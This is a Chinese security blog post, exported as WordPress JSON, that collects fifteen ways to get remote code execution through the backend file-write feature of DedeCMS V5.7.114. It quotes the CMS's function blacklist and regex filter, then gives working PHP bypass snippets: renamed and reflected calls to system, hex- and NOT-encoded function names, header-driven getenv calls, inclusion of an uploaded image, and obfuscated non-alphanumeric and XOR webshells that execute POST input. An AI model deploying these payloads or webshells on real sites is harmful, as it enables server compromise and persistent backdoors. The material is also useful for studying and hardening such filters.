{"id":3309,"date":"2024-07-01T14:29:51","date_gmt":"2024-07-01T06:29:51","guid":{"rendered":"https:\/\/fushuling.com\/?p=3309"},"modified":"2024-07-01T14:29:52","modified_gmt":"2024-07-01T06:29:52","slug":"dedecms%e5%90%8e%e5%8f%b0rce%e7%9a%84%e4%b8%80%e4%ba%9b%e6%96%b9%e6%b3%95","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2024\/07\/01\/dedecms%e5%90%8e%e5%8f%b0rce%e7%9a%84%e4%b8%80%e4%ba%9b%e6%96%b9%e6%b3%95\/","title":{"rendered":"Dedecms\u540e\u53f0RCE\u7684\u4e00\u4e9b\u65b9\u6cd5"},"content":{"rendered":"\n

\u5237\u5fae\u4fe1\u516c\u4f17\u53f7\u7684\u65f6\u5019\u770b\u5230\u4e00\u7bc7\u6587\u7ae0\uff1a\u3010\u5ba1\u8ba10day\u3011Dedecms\u6700\u65b0\u7248\u672cRCE<\/a>\uff0c\u70b9\u8fdb\u53bb\u770b\u4e86\u770b\uff0c\u53d1\u73b0\u662f\u7528\u7684\u540e\u53f0\u5199\u6587\u4ef6\u529f\u80fdRCE\uff0c\u53ea\u4e0d\u8fc7\u7ec7\u68a6\u5bf9\u5199\u5165\u7684php\u505a\u4e86\u4e00\u4e9b\u9650\u5236\uff0c\u5c31\u50cf\u4e00\u9053ctf\u4e00\u6837\uff0c\u6211\u4eec\u53ef\u4ee5\u7528\u5176\u4ed6\u65b9\u6cd5\u7ed5\u8fc7\u53bb\uff0c\u6211\u672c\u5730\u642d\u4e86\u4e2a\u73af\u5883\uff0c\u53d1\u73b0\u7ed5\u8fc7\u7684\u65b9\u6cd5\u633a\u591a\u7684\uff0c\u8fd9\u91cc\u5206\u4eab\u4e00\u4e0b<\/p>\n\n\n\n

\u6e90\u7801\u5730\u5740\uff1ahttps:\/\/www.dedecms.com\/<\/strong><\/p>\n\n\n\n

\u7248\u672c\uff1aV5.7.114(\u6700\u65b0\u7248)<\/p>\n\n\n\n

\u73af\u5883\uff1aphp7.2.9<\/p>\n\n\n\n

\u9ed1\u540d\u5355\u51fd\u6570\uff1a<\/p>\n\n\n\n

phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace\uff0c[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders<\/code><\/pre>\n\n\n\n
\u6b63\u5219\u5339\u914d\u903b\u8f91\uff1a<\/p>\n\n\n\n
if(preg_match(\"#^[\\s\\S]+<\\?(php|=)?[\\s]+#i\", \" {$str}\") == TRUE) {\r\n    if(preg_match(\"#[$][_0-9a-z]+[\\s]*[(][\\s\\S]*[)][\\s]*[;]#iU\", \" {$str}\") == TRUE) {\r\n        $str = dede_htmlspecialchars($str);\r\n        die(\"DedeCMS\u63d0\u793a\uff1a\u5f53\u524d\u9875\u9762\u4e2d\u5b58\u5728\u6076\u610f\u4ee3\u7801\uff01<pre>{$str}<\/pre>\");\r\n    }\r\n    if(preg_match(\"#[@][$][_0-9a-z]+[\\s]*[(][\\s\\S]*[)]#iU\", \" {$str}\") == TRUE) {\r\n        $str = dede_htmlspecialchars($str);\r\n        die(\"DedeCMS\u63d0\u793a\uff1a\u5f53\u524d\u9875\u9762\u4e2d\u5b58\u5728\u6076\u610f\u4ee3\u7801\uff01<pre>{$str}<\/pre>\");\r\n    }\r\n    if(preg_match(\"#[`][\\s\\S]*[`]#i\", \" {$str}\") == TRUE) {\r\n        $str = dede_htmlspecialchars($str);\r\n        die(\"DedeCMS\u63d0\u793a\uff1a\u5f53\u524d\u9875\u9762\u4e2d\u5b58\u5728\u6076\u610f\u4ee3\u7801\uff01<pre>{$str}<\/pre>\");\r\n    }\r\n}<\/code><\/pre>\n\n\n\n
\u7b2c\u4e00\u4e2a\u8868\u8fbe\u5f0f\u68c0\u6d4b\u4e86\u662f\u5426\u5b58\u5728 PHP \u4ee3\u7801\u7684\u8d77\u59cb\u6807\u8bb0\u00a0<?<\/code>\u00a0\u6216\u00a0<?php<\/code>\uff0c\u662f\u7684\u8bdd\u5219\u8fdb\u884c\u540e\u7eed\u5224\u65ad\uff0c\u7b2c\u4e8c\u7684\u8868\u8fbe\u5f0f\u5224\u65ad\u4e86\u8fd9\u6bb5\u4ee3\u7801\u68c0\u6d4b\u662f\u5426\u5b58\u5728\u5f62\u5982\u00a0$varName(...);<\/code>\u00a0\u7684 PHP \u51fd\u6570\u8c03\u7528\uff0c\u7b2c\u4e09\u4e2a\u8868\u8fbe\u5f0f\u68c0\u6d4b\u662f\u5426\u5b58\u5728\u5f62\u5982\u00a0@$varName(...)<\/code>\u00a0\u7684 PHP \u51fd\u6570\u8c03\u7528\uff0c\u7b2c\u56db\u4e2a\u8868\u8fbe\u5f0f\u68c0\u6d4b\u662f\u5426\u5b58\u5728\u53cd\u5f15\u53f7\u5305\u88f9\u7684\u4ee3\u7801<\/p>\n\n\n\n
1.\u622a\u65ad\u51fd\u6570\u540d<\/h2>\n\n\n\n
<?php \r\nfunction systema(){\r\n    substr(__FUNCTION__, -7,-1)(\"whoami\");\r\n}\r\nsystema();<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
2.\u622a\u65ad\u65b9\u6cd5\u540d<\/h2>\n\n\n\n
<?php \r\nclass test{\r\n    function systema(){\r\n        substr(__METHOD__, -7,-1)(\"whoami\");\r\n    }\r\n}\r\n$a = new test();\r\n$a->systema();<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
3.\u622a\u53d6\u6587\u4ef6\u540d<\/h2>\n\n\n\n
\u9700\u547d\u540d\u4e3a\u60f3\u8981\u6267\u884c\u7684\u51fd\u6570<\/p>\n\n\n\n
<?php\r\nsubstr(__FILE__, -10,-4)('whoami');\r\n?><\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
4.mbereg_replace<\/h2>\n\n\n\n
\u4f5c\u7528\u7c7b\u4f3c\u4e8epreg_replace<\/code>\uff0c\u652f\u6301\u4f20\u5165e\u6a21\u5f0f\u7684\u6b63\u5219\u8868\u8fbe\u5f0f\uff0c\u4e0d\u8fc7\u8fd9\u4e2a\u522b\u540d\u5728PHP7.3\u88ab\u79fb\u9664\u4e86\uff0c\u53ea\u80fd\u57287.2\u53ca\u4ee5\u4e0b\u4f7f\u7528<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
5.\u51fd\u6570\u91cd\u547d\u540d<\/h2>\n\n\n\n
<?php\r\nuse function system as test;\r\n\r\ntest('whoami');<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
6.\u7c7b\u7684\u7ee7\u627f<\/h2>\n\n\n\n
<?php\r\nclass test extends ReflectionFunction {}\r\n$f = new test('system');\r\n$f->invoke('whoami');<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
7.include_once<\/h2>\n\n\n\n
\u53eaban\u4e86include\u6ca1ban include_once\uff0c\u6211\u4eec\u53ef\u4ee5\u4e0a\u4f20\u4e2a\u56fe\u7247\u4e0a\u53bb\u7136\u540e\u5305\u542b\u4ed6<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
<?php include_once('.\/uploads\/allimg\/240701\/1_1237122211.png');?><\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
8.require_once<\/h2>\n\n\n\n
\u540c\u4e0a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
9.\u533f\u540d\u7c7b<\/h2>\n\n\n\n
<?php\r\n$f = new class('system') extends ReflectionFunction {};\r\n$f->invoke('whoami');<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
10.\u81ea\u589e\u5b9e\u73b0\u7684\u65e0\u5b57\u6bcd\u6570\u5b57webshell<\/h2>\n\n\n\n
\u8fd9\u91cc\u82b1\u6d3b\u5f88\u591a\uff0c\u53ef\u4ee5\u53bb\u770b\u6211ctfshow\u5237\u9898\u8bb0\u5f55\u90a3\u91cc\uff0c\u6709\u5f88\u591a\u9a9a\u64cd\u4f5c\uff0c\u8fd9\u91cc\u7ed9\u4e2a\u57fa\u7840\u7684<\/p>\n\n\n\n
<?php $_=((_\/_).$_)[0]; \/\/\u540c\u4e0a\uff0c\u53d6NAN\u7684\u7b2c\u4e00\u4e2a\u5b57\u6bcdN\r\n$_++; \/\/O\r\n$__=$_.$_++; \/\/\u8fd9\u91cc\u8fdb\u884c\u4e86++\u7684\uff0c\u6240\u4ee5$_\u7b49\u4e8eP, $__=PO\r\n$_++; \/\/ Q\r\n$_++; \/\/ R\r\n$_++; \/\/ S\r\n$_=_.$__.$_.++$_; \/\/\u8fd9\u91cc\u4e5f\u8fdb\u884c\u4e86++\u7684\uff0c\u6240\u4ee5\u6700\u540e\u4e00\u4f4d\u662fT, $_ = _POST\r\n$$_[_]($$_[____]);<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
11.\u5b57\u7b26\u62fc\u63a5<\/h2>\n\n\n\n
\u7528\u4e0a\u9762\u90a3\u4e2a\u65e0\u5b57\u6bcd\u6570\u5b57RCE\u7684\u65f6\u5019\uff0c\u6211\u53d1\u73b0\u4ed6\u8fd9\u4e2a\u597d\u50cf\u538b\u6839\u4e0d\u7528\u90a3\u4e48\u590d\u6742\uff0c\u76f4\u63a5\u5b57\u7b26\u62fc\u63a5\u90fd\u80fdRCE\u3002\u3002\u3002<\/p>\n\n\n\n
<?php \r\n$a = '_POST';\r\n$$a[1]($$a[0]);<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
12.\u5f02\u6216\u5b9e\u73b0\u7684\u65e0\u5b57\u6bcd\u6570\u5b57webshell<\/h2>\n\n\n\n
<?php\r\n$__=(\"#\"^\"|\");$__.=(\".\"^\"~\");$__.=(\"\/\"^\"`\");$__.=(\"|\"^\"\/\");$__.=(\"{\"^\"\/\");$$__[_]($$__[__]);<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
13.\u53d6\u53cd<\/h2>\n\n\n\n
\u751f\u6210\u5668\uff1a<\/p>\n\n\n\n
<?php\n$ans1='system';\/\/\u51fd\u6570\u540d\n$ans2='whoami';\/\/\u547d\u4ee4\n$data1=('~'.'urldecode('.'\\''.urlencode(~$ans1).'\\'');\/\/\u901a\u8fc7\u4e24\u6b21\u53d6\u53cd\u8fd0\u7b97\u5f97\u5230system\n$data2=('~'.'urldecode('.'\\''.urlencode(~$ans2).'\\'');\/\/\u901a\u8fc7\u4e24\u6b21\u53d6\u53cd\u8fd0\u7b97\u5f97\u5230dir\necho ('('.$data1.'))'.'('.$data2.'))'.';');\n#(~urldecode('%8C%86%8C%8B%9A%92'))(~urldecode('%88%97%90%9E%92%96'));<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
14.\u8f6chex<\/h2>\n\n\n\n
def hex_payload(payload):\r\n    res_payload = ''\r\n    for i in payload:\r\n        hex_representation = \"\\\\x\" + hex(ord(i))[2:]  # Double backslashes to escape `\\x`\r\n        res_payload += hex_representation\r\n    return res_payload\r\n\r\nif __name__ == \"__main__\":\r\n    payload = \"system\"  # Assign the payload directly\r\n    converted_payload = hex_payload(payload)\r\n    print(\"[+] '{}' converted to hex: '{}'\".format(payload, converted_payload))\n#[+] 'system' converted to hex: '\\x73\\x79\\x73\\x74\\x65\\x6d'<\/code><\/pre>\n\n\n\n
<?php echo\"\\x73\\x79\\x73\\x74\\x65\\x6d\"(\"whoami\");<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
15.getenv<\/h2>\n\n\n\n
<?php\r\ngetenv('HTTP_E')('whoami');<\/code><\/pre>\n\n\n\n
getenv\u4f1a\u83b7\u53d6\u8bf7\u6c42\u5934\u4e2dE\u7684\u503c\u7136\u540e\u62fc\u63a5\u6267\u884c\u51fd\u6570<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
\u5237\u5fae\u4fe1\u516c\u4f17\u53f7\u7684\u65f6\u5019\u770b\u5230\u4e00\u7bc7\u6587\u7ae0\uff1a\u3010\u5ba1\u8ba10day\u3011Dedecms\u6700\u65b0\u7248\u672cRCE\uff0c\u70b9\u8fdb\u53bb\u770b\u4e86\u770b\uff0c\u53d1\u73b0\u662f\u7528\u7684\u540e\u53f0\u5199\u6587 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-3309","post","type-post","status-publish","format-standard","hentry","category-1"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/3309","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=3309"}],"version-history":[{"count":2,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/3309\/revisions"}],"predecessor-version":[{"id":3311,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/3309\/revisions\/3311"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=3309"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=3309"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=3309"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}